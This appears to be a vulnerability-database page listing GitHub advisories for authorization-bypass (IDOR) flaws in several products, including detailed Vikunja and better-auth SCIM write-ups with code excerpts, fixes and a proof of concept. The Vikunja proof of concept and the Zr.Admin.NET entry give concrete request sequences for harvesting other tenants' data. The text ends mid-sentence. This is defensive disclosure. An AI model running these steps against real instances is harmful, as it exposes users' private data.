Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

5931 vulnerabilities reference this CWE, most recent first.

GHSA-RHPM-RX33-CFP8

Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31
VLAI
Details

Authorization bypass through User-Controlled key vulnerability in Netiket Information Technologies EdoWEB allows Accessing Functionality Not Properly Constrained by ACLs.

This issue affects EdoWEB: before 780-g7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T13:17:20Z",
    "severity": "MODERATE"
  },
  "details": "Authorization bypass through User-Controlled key vulnerability in Netiket Information Technologies EdoWEB allows Accessing Functionality Not Properly Constrained by ACLs.\n\nThis issue affects EdoWEB: before 780-g7.",
  "id": "GHSA-rhpm-rx33-cfp8",
  "modified": "2026-08-18T15:31:37Z",
  "published": "2026-08-18T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16309"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0853"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RHQ7-G7CH-6MM7

Vulnerability from github – Published: 2026-01-08 12:30 – Updated: 2026-01-20 15:33
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in WofficeIO Woffice Core woffice-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Woffice Core: from n/a through <= 5.4.30.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-67919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-08T10:15:50Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in WofficeIO Woffice Core woffice-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Woffice Core: from n/a through \u003c= 5.4.30.",
  "id": "GHSA-rhq7-g7ch-6mm7",
  "modified": "2026-01-20T15:33:09Z",
  "published": "2026-01-08T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67919"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/woffice-core/vulnerability/wordpress-woffice-core-plugin-5-4-30-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/woffice-core/vulnerability/wordpress-woffice-core-plugin-5-4-30-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RHW4-MXV2-6W6Q

Vulnerability from github – Published: 2026-11-15 03:30 – Updated: 2026-11-15 03:30
VLAI
Details

Zr.Admin.NET commit e6ceaf4 through commit eb9228a contains an insecure direct object reference vulnerability in FrontArticleController that allows authenticated users to change other users' article visibility and pin state. Attackers can send PUT /front/article/changePublic with their own UserId in the body to make private articles public, then read them anonymously via GET /front/article/{id}.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-129455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-15T02:17:21Z",
    "severity": "MODERATE"
  },
  "details": "Zr.Admin.NET commit e6ceaf4 through commit eb9228a contains an insecure direct object reference vulnerability in FrontArticleController that allows authenticated users to change other users\u0027 article visibility and pin state. Attackers can send PUT /front/article/changePublic with their own UserId in the body to make private articles public, then read them anonymously via GET /front/article/{id}.",
  "id": "GHSA-rhw4-mxv2-6w6q",
  "modified": "2026-11-15T03:30:44Z",
  "published": "2026-11-15T03:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-129455"
    },
    {
      "type": "WEB",
      "url": "https://github.com/izhaorui/Zr.Admin.NET/issues/27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/izhaorui/Zr.Admin.NET/blob/eb9228a23014f6000c06cab2f10ae0d44ecbbd3a/ZR.Admin.WebApi/Controllers/Content/FrontArticleController.cs#L122-L148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/izhaorui/Zr.Admin.NET/blob/eb9228a23014f6000c06cab2f10ae0d44ecbbd3a/ZR.Service/Content/ArticleService.cs#L402-L437"
    },
    {
      "type": "WEB",
      "url": "https://vul.yulun.ac.cn/20261114/zr-admin-net"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/zr-admin-net-commit-e6ceaf4-through-eb9228a-idor-via-front-article-api"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RJ36-PVV3-3G3H

Vulnerability from github – Published: 2026-09-02 06:31 – Updated: 2026-09-02 12:31
VLAI
Details

The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not properly verify authorization when retrieving order line-item data, allowing any authenticated user including Subscribers to read other instructors' course sales records by supplying another user's identifier.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-81194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T06:17:18Z",
    "severity": "MODERATE"
  },
  "details": "The MasterStudy LMS WordPress Plugin  WordPress plugin before 3.7.46 does not properly verify authorization when retrieving order line-item data, allowing any authenticated user including Subscribers to read other instructors\u0027 course sales records by supplying another user\u0027s identifier.",
  "id": "GHSA-rj36-pvv3-3g3h",
  "modified": "2026-09-02T12:31:28Z",
  "published": "2026-09-02T06:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81194"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/727903d4-ce0f-4ab4-bbd4-c973091e0b8f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RJ4P-QC9G-J2P3

Vulnerability from github – Published: 2025-12-05 00:31 – Updated: 2025-12-05 00:31
VLAI
Details

The SolisCloud API suffers from a Broken Access Control vulnerability, specifically an Insecure Direct Object Reference (IDOR), where any authenticated user can access detailed data of any plant by altering the plant_id in the request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13932"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-04T22:15:47Z",
    "severity": "HIGH"
  },
  "details": "The SolisCloud API suffers from a Broken Access Control vulnerability, specifically an Insecure Direct Object Reference (IDOR), where any authenticated user can access detailed data of any plant by altering the plant_id in the request.",
  "id": "GHSA-rj4p-qc9g-j2p3",
  "modified": "2025-12-05T00:31:05Z",
  "published": "2025-12-05T00:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13932"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-338-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RJ9J-8772-4H6C

Vulnerability from github – Published: 2026-10-09 20:42 – Updated: 2026-10-09 20:42
VLAI
Summary
Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)
Details

Summary

The task-collection endpoint GET /api/v1/projects/{project}/views/{view}/tasks loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a link-share token, the task query is correctly pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to any project can therefore point the endpoint at any other tenant's kanban view and receive that view's bucket records — bucket titles plus the full created_by user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also yields a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users alike.

Details

Root cause is in TaskCollection.ReadAll (pkg/models/task_collection.go).

  1. The view is resolved from the URL params before any permission check:
// pkg/models/task_collection.go  (ReadAll)
if tf.ProjectViewID != 0 {
    view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params)
    ...
}

GetProjectViewByIDAndProject (pkg/models/project_view.go) filters only on WHERE id = ? AND project_id = ? — it performs no authorization. A valid (project, view) pair returns the view; an invalid pair returns ErrProjectViewDoesNotExist (HTTP 404).

  1. For a link-share caller, the code pins the task scope to the token's own project but reuses the attacker-supplied view:
shareAuth, is := a.(*LinkSharing)
if is {
    project, err := GetProjectSimpleByID(s, shareAuth.ProjectID)   // token's project
    ...
    return getTaskOrTasksInBuckets(s, a, []*Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks)
    // `view` is the foreign, attacker-controlled view — never validated against shareAuth.ProjectID
}
  1. getTaskOrTasksInBuckets → GetTasksInBucketsForView (pkg/models/kanban.go) reads the buckets of that foreign view directly:
err = s.Where("project_view_id = ?", view.ID).OrderBy("position").Find(&buckets)
...
users, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket's created_by

Each returned Bucket serializes CreatedBy *user.User as json:"created_by" (pkg/models/kanban.go), exposing the creating user's username, name, and id.

The normal (non-share) path is protected because it runs getRelevantProjectsFromCollection, which calls project.CanRead on the URL project and returns 403 before any bucket data is produced. Only the LinkSharing branch skips that gate, which is why the bucket disclosure is link-share-specific. ReadAllWeb (pkg/web/handler/read_all.go) performs no permission check of its own, so all authorization for this endpoint lives inside ReadAll.

Scope of the leak (verified against fixtures): the tasks returned inside the buckets are still constrained to the share's own project (getRawTasksForProjects filters tasks.project_id IN opts.projectIDs, derived from the share's project). So victim task contents do not leak; what leaks is the foreign view's bucket structure and, critically, the created_by user identities of arbitrary buckets instance-wide.

Introduced in v0.24.0 by the per-view kanban feature (feat(views)!: return tasks in buckets by view), which added the views/{view}/tasks endpoint and the foreign-view bucket load. The link-share branch predates it, but the two only combine into this bug from v0.24.0 onward.

Impact

A holder of a link-share token to any single project (link shares are designed to be handed out, often semi-publicly) can:

  • Enumerate all project and view IDs instance-wide. IDs are sequential auto-increment integers; an invalid (project, view) pair returns 404 while a valid one returns 200, giving a reliable existence oracle across all tenants.
  • Disclose the created_by user of any kanban view's buckets — username, display name, and user id. Because Vikunja auto-creates a default project with a Kanban view for every user, iterating view IDs enumerates usernames and user IDs for essentially every account on the instance.
  • Disclose bucket titles of every kanban view in the instance.

This is a cross-tenant broken-object-level-authorization bypass. It does not disclose victim task contents through this path, but instance-wide username/user-id enumeration plus kanban structure disclosure is a meaningful PII and reconnaissance exposure that defeats the tenant isolation the permission model is meant to enforce. The ID-enumeration oracle additionally works for any ordinary authenticated user (invalid combo → 404 vs. inaccessible combo → 403), because the view is loaded before the CanRead check.

Proof of Concept

Prerequisites: link sharing enabled (default), a share link to any project (call it project A), and any second project B (e.g. another tenant's) with a kanban view V_B.

  1. Authenticate the share link to obtain a share JWT: POST /api/v1/shares/{shareHash}/auth
  2. Using that token, request a foreign kanban view's tasks: GET /api/v1/projects/{B}/views/{V_B}/tasks
  3. The 200 response is a list of Bucket objects belonging to view V_B — each with title and a populated created_by (username, name, id) — even though the token has no relationship to project B.
  4. Iterate {B}/{V_B} over sequential integers: valid pairs return bucket lists (harvest usernames/ids), invalid pairs return 404.

Verified locally against the model fixtures: a LinkSharing{ProjectID: 1} (project 1 owned by user 1) calling TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll (project 2 owned by user 3) returns project 2's buckets ("testbucket4 - other project", "testbucket40") with their created_by user objects populated, and no error — while a nonexistent view id returns ErrProjectViewDoesNotExist.

Recommended Fix

In TaskCollection.ReadAll, before the view is loaded, pin the requested project to the link share's own project so any foreign view resolves to a 404 instead of leaking:

if shareAuth, is := a.(*LinkSharing); is {
    tf.ProjectID = shareAuth.ProjectID
}

This is consistent with the existing behavior that already forces the task query to shareAuth.ProjectID, and it closes both the bucket disclosure and the share-token half of the enumeration oracle. As defence-in-depth, resolve the view's authorization against the authenticated caller for every auth type (not just link shares), so the endpoint never loads a view the caller cannot read — closing the 404-vs-403 existence oracle for ordinary users as well.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.24.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:42:33Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe task-collection endpoint `GET /api/v1/projects/{project}/views/{view}/tasks` loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a **link-share token**, the task query is correctly pinned to the share\u0027s own project, but the *view* is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to **any** project can therefore point the endpoint at any other tenant\u0027s kanban view and receive that view\u0027s bucket records \u2014 bucket titles plus the full `created_by` user object (username, name, id) \u2014 for every view in the instance. The same missing pre-authorization view load also yields a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users alike.\n\n## Details\n\nRoot cause is in `TaskCollection.ReadAll` (`pkg/models/task_collection.go`).\n\n1. The view is resolved from the URL params before any permission check:\n\n```go\n// pkg/models/task_collection.go  (ReadAll)\nif tf.ProjectViewID != 0 {\n    view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params)\n    ...\n}\n```\n\n`GetProjectViewByIDAndProject` (`pkg/models/project_view.go`) filters only on `WHERE id = ? AND project_id = ?` \u2014 it performs no authorization. A valid `(project, view)` pair returns the view; an invalid pair returns `ErrProjectViewDoesNotExist` (HTTP 404).\n\n2. For a link-share caller, the code pins the *task* scope to the token\u0027s own project but reuses the attacker-supplied `view`:\n\n```go\nshareAuth, is := a.(*LinkSharing)\nif is {\n    project, err := GetProjectSimpleByID(s, shareAuth.ProjectID)   // token\u0027s project\n    ...\n    return getTaskOrTasksInBuckets(s, a, []*Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks)\n    // `view` is the foreign, attacker-controlled view \u2014 never validated against shareAuth.ProjectID\n}\n```\n\n3. `getTaskOrTasksInBuckets` \u2192 `GetTasksInBucketsForView` (`pkg/models/kanban.go`) reads the buckets of that foreign view directly:\n\n```go\nerr = s.Where(\"project_view_id = ?\", view.ID).OrderBy(\"position\").Find(\u0026buckets)\n...\nusers, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket\u0027s created_by\n```\n\nEach returned `Bucket` serializes `CreatedBy *user.User` as `json:\"created_by\"` (`pkg/models/kanban.go`), exposing the creating user\u0027s username, name, and id.\n\nThe normal (non-share) path is protected because it runs `getRelevantProjectsFromCollection`, which calls `project.CanRead` on the URL project and returns 403 before any bucket data is produced. Only the `LinkSharing` branch skips that gate, which is why the bucket disclosure is link-share-specific. `ReadAllWeb` (`pkg/web/handler/read_all.go`) performs no permission check of its own, so all authorization for this endpoint lives inside `ReadAll`.\n\nScope of the leak (verified against fixtures): the *tasks* returned inside the buckets are still constrained to the share\u0027s own project (`getRawTasksForProjects` filters `tasks.project_id IN opts.projectIDs`, derived from the share\u0027s project). So victim task **contents do not leak**; what leaks is the foreign view\u0027s bucket structure and, critically, the `created_by` user identities of arbitrary buckets instance-wide.\n\nIntroduced in v0.24.0 by the per-view kanban feature (`feat(views)!: return tasks in buckets by view`), which added the `views/{view}/tasks` endpoint and the foreign-view bucket load. The link-share branch predates it, but the two only combine into this bug from v0.24.0 onward.\n\n## Impact\n\nA holder of a link-share token to any single project (link shares are designed to be handed out, often semi-publicly) can:\n\n- **Enumerate all project and view IDs instance-wide.** IDs are sequential auto-increment integers; an invalid `(project, view)` pair returns 404 while a valid one returns 200, giving a reliable existence oracle across all tenants.\n- **Disclose the `created_by` user of any kanban view\u0027s buckets** \u2014 username, display name, and user id. Because Vikunja auto-creates a default project with a Kanban view for every user, iterating view IDs enumerates usernames and user IDs for essentially every account on the instance.\n- **Disclose bucket titles** of every kanban view in the instance.\n\nThis is a cross-tenant broken-object-level-authorization bypass. It does not disclose victim task contents through this path, but instance-wide username/user-id enumeration plus kanban structure disclosure is a meaningful PII and reconnaissance exposure that defeats the tenant isolation the permission model is meant to enforce. The ID-enumeration oracle additionally works for any ordinary authenticated user (invalid combo \u2192 404 vs. inaccessible combo \u2192 403), because the view is loaded before the `CanRead` check.\n\n## Proof of Concept\n\nPrerequisites: link sharing enabled (default), a share link to any project (call it project A), and any second project B (e.g. another tenant\u0027s) with a kanban view V_B.\n\n1. Authenticate the share link to obtain a share JWT:\n   `POST /api/v1/shares/{shareHash}/auth`\n2. Using that token, request a foreign kanban view\u0027s tasks:\n   `GET /api/v1/projects/{B}/views/{V_B}/tasks`\n3. The 200 response is a list of `Bucket` objects belonging to view `V_B` \u2014 each with `title` and a populated `created_by` (username, name, id) \u2014 even though the token has no relationship to project B.\n4. Iterate `{B}`/`{V_B}` over sequential integers: valid pairs return bucket lists (harvest usernames/ids), invalid pairs return 404.\n\nVerified locally against the model fixtures: a `LinkSharing{ProjectID: 1}` (project 1 owned by user 1) calling `TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll` (project 2 owned by user 3) returns project 2\u0027s buckets (`\"testbucket4 - other project\"`, `\"testbucket40\"`) with their `created_by` user objects populated, and no error \u2014 while a nonexistent view id returns `ErrProjectViewDoesNotExist`.\n\n## Recommended Fix\n\nIn `TaskCollection.ReadAll`, before the view is loaded, pin the requested project to the link share\u0027s own project so any foreign view resolves to a 404 instead of leaking:\n\n```go\nif shareAuth, is := a.(*LinkSharing); is {\n    tf.ProjectID = shareAuth.ProjectID\n}\n```\n\nThis is consistent with the existing behavior that already forces the task query to `shareAuth.ProjectID`, and it closes both the bucket disclosure and the share-token half of the enumeration oracle. As defence-in-depth, resolve the view\u0027s authorization against the authenticated caller for every auth type (not just link shares), so the endpoint never loads a view the caller cannot read \u2014 closing the 404-vs-403 existence oracle for ordinary users as well.",
  "id": "GHSA-rj9j-8772-4h6c",
  "modified": "2026-10-09T20:42:33Z",
  "published": "2026-10-09T20:42:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-rj9j-8772-4h6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68582"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-broken-object-level-authorization-via-link-share-token"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja: Link-share token reads any tenant\u0027s kanban buckets and enumerates usernames/IDs instance-wide (BOLA)"
}

GHSA-RJG6-39JM-RGG4

Vulnerability from github – Published: 2026-07-24 15:40 – Updated: 2026-07-24 15:40
VLAI
Summary
@better-auth/scim: account takeover and stale access via SCIM provider-id collision
Details

Am I affected?

You are affected if your application registers the @better-auth/scim plugin and lets authenticated users generate SCIM tokens. The default canGenerateToken policy was affected, and custom policies were affected when they did not reject provider IDs already used by other account providers. The provider-ID collision issue additionally requires SSO, SAML, OIDC, generic OAuth, or social providers whose account rows use custom provider IDs, plus existing account rows under those IDs.

The deprovisioning and email-update issues require only the SCIM plugin and a valid SCIM bearer token. Published versions from @better-auth/scim@1.4.0-beta.27 through 1.6.21 are affected. Beta versions from 1.7.0-beta.0 through 1.7.0-beta.9 are affected. Upgrade to @better-auth/scim@1.6.22 or 1.7.0-beta.10.

Summary

@better-auth/scim used the same logical provider ID for SCIM provider configuration and account ownership. SCIM token issuance did not reject all account-provider namespaces. An authenticated user could therefore mint a SCIM token whose provider ID matched an existing SSO, SAML, OIDC, generic OAuth, or social provider. SCIM user routes then selected account rows by that provider ID and treated those users as SCIM-managed, even when the SCIM token had never provisioned them.

The same write path had 2 additional validation issues. First, SCIM active: false was not modeled, so identity providers could receive a successful response while the user stayed active. Second, SCIM PUT and PATCH updates changed global email addresses without the same uniqueness check used by create, and emailVerified stayed unchanged after an email reassignment.

Details

The SCIM bearer middleware decoded the provider ID from the bearer token and loaded the matching scimProvider row. User listing and user lookup then queried ordinary account rows by account.providerId. This made the provider ID a user-controlled authorization key. If a SCIM token used a provider ID that belonged to SSO, SAML, OIDC, generic OAuth, or another account provider, the SCIM routes could resolve users that the token did not own.

The highest-impact path was non-organization deletion. On affected versions, DELETE /scim/v2/Users/:id for a non-organization SCIM token deleted the global Better Auth user and their sessions after resolving the user through the colliding provider ID. A low-privileged authenticated user could therefore delete users associated with a colliding provider namespace.

Organization-scoped tokens were also affected by the provider-ID collision. If the colliding provider ID matched the organization's SSO or OIDC connection, SCIM PUT or PATCH could resolve an SSO-provisioned organization member and rewrite global profile fields. Before the patch, changing a user's email through SCIM skipped the uniqueness check and left emailVerified unchanged.

SCIM deactivation had a separate failure mode. The SCIM active attribute was missing from the user schemas and PATCH mapping, so active: false was stripped from requests. A standard identity-provider deactivation signal could return success while the user kept their identity, sessions, and access.

Patches

Fixed in @better-auth/scim@1.6.22 and @better-auth/scim@1.7.0-beta.10.

The patch rejects SCIM provider IDs that collide with built-in providers, configured social providers, generic OAuth providers, and SSO provider rows before a token is minted. It also scopes SCIM deletion to the SCIM account link when the user has other identities. The global user is deleted only when the SCIM account is the user's sole linked account.

The patch models the SCIM active attribute. App-level SCIM deactivation maps active: false to the admin plugin's enforced disabled-user state and revokes sessions. If the admin plugin is absent, the request is rejected instead of being silently dropped.

The patch adds the email uniqueness check to SCIM PUT and PATCH updates and resets emailVerified whenever SCIM changes a user's email.

Workarounds

If you cannot upgrade immediately, configure canGenerateToken to reject provider IDs that match any account provider ID used by your application. Include built-in providers, social providers, generic OAuth providers, SSO, SAML, and OIDC provider IDs. Also restrict which users can generate SCIM tokens.

Do not rely on deactivation reports from your identity provider until you have upgraded. Confirm that deactivated users have actually lost access, especially if your identity provider deprovisions through active: false.

If you use SCIM account linking, avoid broad domain-based linking rules. A shared email domain is not proof that a SCIM token may manage a pre-existing user. Prefer organization-membership checks or an explicit application predicate.

Audit existing scimProvider rows and remove any row whose providerId matches another account provider namespace.

Impact

With the provider-ID collision issue, an authenticated attacker could act through a provider namespace they did not own. They could list and read SCIM user resources for users linked to the colliding provider. They could also update profile and account fields and delete global user records on the non-organization path. In organization-scoped deployments, a colliding token could mutate global profile fields for SSO-provisioned organization members.

With the deactivation issue, a terminated user could remain active after an identity provider reported successful deprovisioning through active: false. With the email-update issue, SCIM could assign one user's email to another user on adapters without an enforced unique index. That could corrupt email-keyed login and lookup, while SQL adapters could raise an unhandled adapter error.

Credit

Found through internal validation.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.21"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@better-auth/scim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0-beta.27"
            },
            {
              "fixed": "1.6.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.0-beta.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@better-auth/scim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0-beta.0"
            },
            {
              "fixed": "1.7.0-beta.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:40:54Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Am I affected?\n\nYou are affected if your application registers the `@better-auth/scim` plugin and lets authenticated users generate SCIM tokens. The default `canGenerateToken` policy was affected, and custom policies were affected when they did not reject provider IDs already used by other account providers. The provider-ID collision issue additionally requires SSO, SAML, OIDC, generic OAuth, or social providers whose account rows use custom provider IDs, plus existing account rows under those IDs.\n\nThe deprovisioning and email-update issues require only the SCIM plugin and a valid SCIM bearer token. Published versions from `@better-auth/scim@1.4.0-beta.27` through `1.6.21` are affected. Beta versions from `1.7.0-beta.0` through `1.7.0-beta.9` are affected. Upgrade to `@better-auth/scim@1.6.22` or `1.7.0-beta.10`.\n\n### Summary\n\n`@better-auth/scim` used the same logical provider ID for SCIM provider configuration and account ownership. SCIM token issuance did not reject all account-provider namespaces. An authenticated user could therefore mint a SCIM token whose provider ID matched an existing SSO, SAML, OIDC, generic OAuth, or social provider. SCIM user routes then selected account rows by that provider ID and treated those users as SCIM-managed, even when the SCIM token had never provisioned them.\n\nThe same write path had 2 additional validation issues. First, SCIM `active: false` was not modeled, so identity providers could receive a successful response while the user stayed active. Second, SCIM PUT and PATCH updates changed global email addresses without the same uniqueness check used by create, and `emailVerified` stayed unchanged after an email reassignment.\n\n### Details\n\nThe SCIM bearer middleware decoded the provider ID from the bearer token and loaded the matching `scimProvider` row. User listing and user lookup then queried ordinary account rows by `account.providerId`. This made the provider ID a user-controlled authorization key. If a SCIM token used a provider ID that belonged to SSO, SAML, OIDC, generic OAuth, or another account provider, the SCIM routes could resolve users that the token did not own.\n\nThe highest-impact path was non-organization deletion. On affected versions, `DELETE /scim/v2/Users/:id` for a non-organization SCIM token deleted the global Better Auth user and their sessions after resolving the user through the colliding provider ID. A low-privileged authenticated user could therefore delete users associated with a colliding provider namespace.\n\nOrganization-scoped tokens were also affected by the provider-ID collision. If the colliding provider ID matched the organization\u0027s SSO or OIDC connection, SCIM PUT or PATCH could resolve an SSO-provisioned organization member and rewrite global profile fields. Before the patch, changing a user\u0027s email through SCIM skipped the uniqueness check and left `emailVerified` unchanged.\n\nSCIM deactivation had a separate failure mode. The SCIM `active` attribute was missing from the user schemas and PATCH mapping, so `active: false` was stripped from requests. A standard identity-provider deactivation signal could return success while the user kept their identity, sessions, and access.\n\n### Patches\n\nFixed in `@better-auth/scim@1.6.22` and `@better-auth/scim@1.7.0-beta.10`.\n\nThe patch rejects SCIM provider IDs that collide with built-in providers, configured social providers, generic OAuth providers, and SSO provider rows before a token is minted. It also scopes SCIM deletion to the SCIM account link when the user has other identities. The global user is deleted only when the SCIM account is the user\u0027s sole linked account.\n\nThe patch models the SCIM `active` attribute. App-level SCIM deactivation maps `active: false` to the admin plugin\u0027s enforced disabled-user state and revokes sessions. If the admin plugin is absent, the request is rejected instead of being silently dropped.\n\nThe patch adds the email uniqueness check to SCIM PUT and PATCH updates and resets `emailVerified` whenever SCIM changes a user\u0027s email.\n\n### Workarounds\n\nIf you cannot upgrade immediately, configure `canGenerateToken` to reject provider IDs that match any account provider ID used by your application. Include built-in providers, social providers, generic OAuth providers, SSO, SAML, and OIDC provider IDs. Also restrict which users can generate SCIM tokens.\n\nDo not rely on deactivation reports from your identity provider until you have upgraded. Confirm that deactivated users have actually lost access, especially if your identity provider deprovisions through `active: false`.\n\nIf you use SCIM account linking, avoid broad domain-based linking rules. A shared email domain is not proof that a SCIM token may manage a pre-existing user. Prefer organization-membership checks or an explicit application predicate.\n\nAudit existing `scimProvider` rows and remove any row whose `providerId` matches another account provider namespace.\n\n### Impact\n\nWith the provider-ID collision issue, an authenticated attacker could act through a provider namespace they did not own. They could list and read SCIM user resources for users linked to the colliding provider. They could also update profile and account fields and delete global user records on the non-organization path. In organization-scoped deployments, a colliding token could mutate global profile fields for SSO-provisioned organization members.\n\nWith the deactivation issue, a terminated user could remain active after an identity provider reported successful deprovisioning through `active: false`. With the email-update issue, SCIM could assign one user\u0027s email to another user on 